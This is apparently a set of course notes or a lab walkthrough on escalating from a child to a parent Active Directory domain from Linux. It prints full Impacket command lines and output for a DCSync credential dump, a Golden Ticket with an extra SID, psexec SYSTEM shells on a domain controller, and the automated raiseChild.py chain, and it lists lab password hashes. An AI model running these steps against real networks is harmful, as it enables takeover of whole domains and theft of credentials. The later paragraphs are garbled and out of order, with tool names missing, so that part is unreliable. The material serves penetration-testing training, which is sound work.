Attacking Domain Trusts - Child -> Parent Trusts - from Linux
We can also perform the attack shown in the previous section from a Linux attack host. To do so, we'll still need to gather the same bits of information:
The KRBTGT hash for the child domain
The SID for the child domain
The name of a target user in the child domain (does not need to exist!)
The FQDN of the child domain
The SID of the Enterprise Admins group of the root domain
Once we have complete control of the child domain, LOGISTICS.INLANEFREIGHT.LOCAL, we can use secretsdump.py to DCSync and grab the NTLM hash for the KRBTGT account.
Performing DCSync with secretsdump.py
[!bash!]$ secretsdump.py logistics.inlanefreight.local/[email protected] -just-dc-user LOGISTICS/krbtgt
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
krbtgt:aes128-cts-hmac-sha1-96:ca289e175c372cebd18083983f88c03e
krbtgt:des-cbc-md5:fee04c3d026d7538
[*] Cleaning up...
We have gathered the following data points to construct the command for our attack. Once again, we will use the non-existent user hacker to forge our Golden Ticket.
The KRBTGT hash for the child domain: 9d765b482771505cbe97411065964d5f
The SID for the child domain: S-1-5-21-2806153819-209893948-922872689
The name of a target user in the child domain (does not need to exist!): hacker
The FQDN of the child domain: LOGISTICS.INLANEFREIGHT.LOCAL
The SID of the Enterprise Admins group of the root domain: S-1-5-21-3842939050-3880317879-2865463114-519
[!bash!]$ psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/[email protected] -k -no-pass -target-ip 172.16.5.5
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 172.16.5.5.....
[*] Found writable share ADMIN$
[*] Uploading file nkYjGWDZ.exe
[*] Opening SVCManager on 172.16.5.5.....
[*] Creating service eTCU on 172.16.5.5.....
[*] Starting service eTCU.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
ACADEMY-EA-DC01
psexec.py
This is a Python script from Impacket that allows you to execute commands on a remote Windows machine using SMB (Server Message Block).
It mimics Microsoft's PsExec tool, but works over SMB.
LOGISTICS.INLANEFREIGHT.LOCAL → The Active Directory domain.
hacker → The username being used to authenticate.
academy-ea-dc01.inlanefreight.local → The Domain Controller (DC) the authentication request is sent to.
-k (Kerberos authentication)
This tells psexec.py to use the Kerberos ticket from the current session instead of requiring a password.
-no-pass
No password is provided. It relies on Kerberos authentication (as specified with -k) or an existing authentication method.
-target-ip 172.16.5.5
This specifies the target machine's IP address where the command should be executed.
This could be the Domain Controller (DC) or any other remote system within the network.
What This Command Does
It attempts to remotely execute commands on 172.16.5.5 using the hacker account.
It authenticates with Kerberos (-k) instead of prompting for a password.
If successful, it will gain SYSTEM-level access on the target machine (if privileges allow it).
Potential Issues & Considerations
Privileges Required
The hacker account must have admin privileges on the target (172.16.5.5), or the command will fail.
To verify privileges, use:
shCopyEditwhoami /priv
Kerberos Ticket Needed
Since -k is used, a valid Kerberos TGT (Ticket Granting Ticket) must already exist.
Check for a Kerberos ticket with:
shCopyEditklist
Obtains the SID for the Enterprise Admins group of the parent domain
Retrieves the hash for the KRBTGT account in the child domain
Creates a Golden Ticket
Logs into the parent domain
Retrieves credentials for the Administrator account in the parent domain
Finally, if the target-exec switch is specified, it authenticates to the parent domain's Domain Controller via Psexec.
Performing the Attack with raiseChild.py
[!bash!]$ raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Impacket v0.9.25.dev1+20220311.121550.1271d369 - Copyright 2021 SecureAuth Corporation
Password:
[*] Raising child domain LOGISTICS.INLANEFREIGHT.LOCAL
[*] Forest FQDN is: INLANEFREIGHT.LOCAL
[*] Raising LOGISTICS.INLANEFREIGHT.LOCAL to INLANEFREIGHT.LOCAL
[*] INLANEFREIGHT.LOCAL Enterprise Admin SID is: S-1-5-21-3842939050-3880317879-2865463114-519
[*] Getting credentials for LOGISTICS.INLANEFREIGHT.LOCAL
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:9d765b482771505cbe97411065964d5f:::
LOGISTICS.INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:d9a2d6659c2a182bc93913bbfa90ecbead94d49dad64d23996724390cb833fb8
[*] Getting credentials for INLANEFREIGHT.LOCAL
INLANEFREIGHT.LOCAL/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:16e26ba33e455a8c338142af8d89ffbc:::
INLANEFREIGHT.LOCAL/krbtgt:aes256-cts-hmac-sha1-96s:69e57bd7e7421c3cfdab757af255d6af07d41b80913281e0c528d31e58e31e6d
[*] Target User account name is administrator
INLANEFREIGHT.LOCAL/administrator:500:aad3b435b51404eeaad3b435b51404ee:88ad09182de639ccc6579eb0849751cf:::
INLANEFREIGHT.LOCAL/administrator:aes256-cts-hmac-sha1-96s:de0aa78a8b9d622d3495315709ac3cb826d97a318ff4fe597da72905015e27b6
[*] Opening PSEXEC shell at ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
[*] Requesting shares on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Found writable share ADMIN$
[*] Uploading file BnEGssCE.exe
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Creating service UVNb on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Starting service UVNb.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL.....
[*] Stopping service UVNb.....
[*] Removing service UVNb.....
[*] Removing file BnEGssCE.exe.....
The script lists out the workflow and process in a comment as follows:
# The workflow is as follows:
# Input:
# 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]'
# The domain specified MUST be the domain FQDN.
# 2) Optionally a pathname to save the generated golden ticket (-w switch)
# 3) Optionally a target-user RID to get credentials (-targetRID switch)
# Administrator by default.
# 4) Optionally a target to PSEXEC with the target-user privileges to (-target-exec switch).
# Enterprise Admin by default.
#
# Process:
# 1) Find out where the child domain controller is located and get its info (via [MS-NRPC])
# 2) Find out what the forest FQDN is (via [MS-NRPC])
# 3) Get the forest's Enterprise Admin SID (via [MS-LSAT])
# 4) Get the child domain's krbtgt credentials (via [MS-DRSR])
# 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array
# and setting expiration 10 years from now
# 6) Use the generated ticket to log into the forest and get the target user info (krbtgt/admin by default)
# 7) If file was specified, save the golden ticket in ccache format
# 8) If target was specified, a PSEXEC shell is launched
#
# Output:
# 1) Target user credentials (Forest's krbtgt/admin credentials by default)
# 2) A golden ticket saved in ccache for future fun and profit
# 3) PSExec Shell with the target-user privileges (Enterprise Admin privileges by default) at target-exec
# parameter.
Though tools such as raiseChild.py can be handy and save us time, it is essential to understand the process and be able to perform the more manual version by gathering all of the required data points. In this case, if the tool fails, we are more likely to understand why and be able to troubleshoot what is missing, which we would not be able to if blindly running this tool. In a client production environment, we should always be careful when running any sort of "autopwn" script like this, and always remain cautious and construct commands manually when possible. Other tools exist which can take in data from a tool such as BloodHound, identify attack paths, and perform an "autopwn" function that can attempt to perform each action in an attack chain to elevate us to Domain Admin (such as a long ACL attack path). I would recommend avoiding tools such as these and work with tools that you understand fully, and will also give you the greatest degree of control throughout the process.
We don't want to tell the client that something broke because we used an "autopwn" script!
Dumping Hashes
┌─[htb-student@ea-attack01]─[~]
└──╼ $secretsdump.py [email protected] -k -no-pass -just-dc-ntlm -just-dc-user bross
Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
inlanefreight.local\bross:1179:aad3b435b51404eeaad3b435b51404ee:49a074a39dd0651f647e765c2cc794c7:::
[*] Cleaning up...
Breaking It Down:
Component
Explanation
secretsdump.py
Impacket tool used to dump password hashes from a Windows domain controller.
Next, we can use from the Impacket toolkit to perform SID brute forcing to find the SID of the child domain. In this command, whatever we specify for the IP address (the IP of the domain controller in the child domain) will become the target domain for a SID lookup. The tool will give us back the SID for the domain and the RIDs for each user and group that could be used to create their SID in the format DOMAIN_SID-RID. For example, from the output below, we can see that the SID of the lab_adm user would be S-1-5-21-2806153819-209893948-922872689-1001.
Next, we can rerun the command, targeting the INLANEFREIGHT Domain Controller (DC01) at 172.16.5.5 and grab the domain SID S-1-5-21-3842939050-3880317879-2865463114 and attach the RID of the Enterprise Admins group. is a handy list of well-known SIDs.
Next, we can use from the Impacket toolkit to construct a Golden Ticket. This ticket will be valid to access resources in the child domain (specified by -domain-sid) and the parent domain (specified by -extra-sid).
The ticket will be saved down to our system as a file, which is a file used to hold Kerberos credentials. Setting the KRB5CCNAME environment variable tells the system to use this file for Kerberos authentication attempts.
We can check if we can successfully authenticate to the parent domain's Domain Controller using . If successful, we will be dropped into a SYSTEM shell on the target Domain Controller.
Impacket also has the tool , which will automate escalating from child to parent domain. We need to specify the target domain controller and credentials for an administrative user in the child domain; the script will do the rest. If we walk through the output, we see that it starts by listing out the child and parent domain's fully qualified domain names (FQDN). It then: